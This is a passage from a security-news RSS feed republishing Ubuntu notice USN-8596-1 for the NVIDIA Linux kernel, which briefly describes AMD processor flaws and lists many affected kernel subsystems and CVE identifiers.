CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8596-1: Linux kernel (NVIDIA) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:20:28 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23226, CVE-2026-23227, CVE-2026-23244, CVE-2026-23245,
CVE-2026-23246, CVE-2026-23253, CVE-2026-23255, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23276, CVE-2026-23277, CVE-2026-23279,
CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286,
CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291,
CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298,
CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310,
CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317,
CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324,
CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335,
CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343,
CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23360, CVE-2026-23361, CVE-2026-23362,
CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372,
CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386,
CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439,
CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457,
CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468,
CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389,
CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31412, CVE-2026-31413, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430,
CVE-2026-31432, CVE-2026-31433, CVE-2026-31434, CVE-2026-31438,
CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
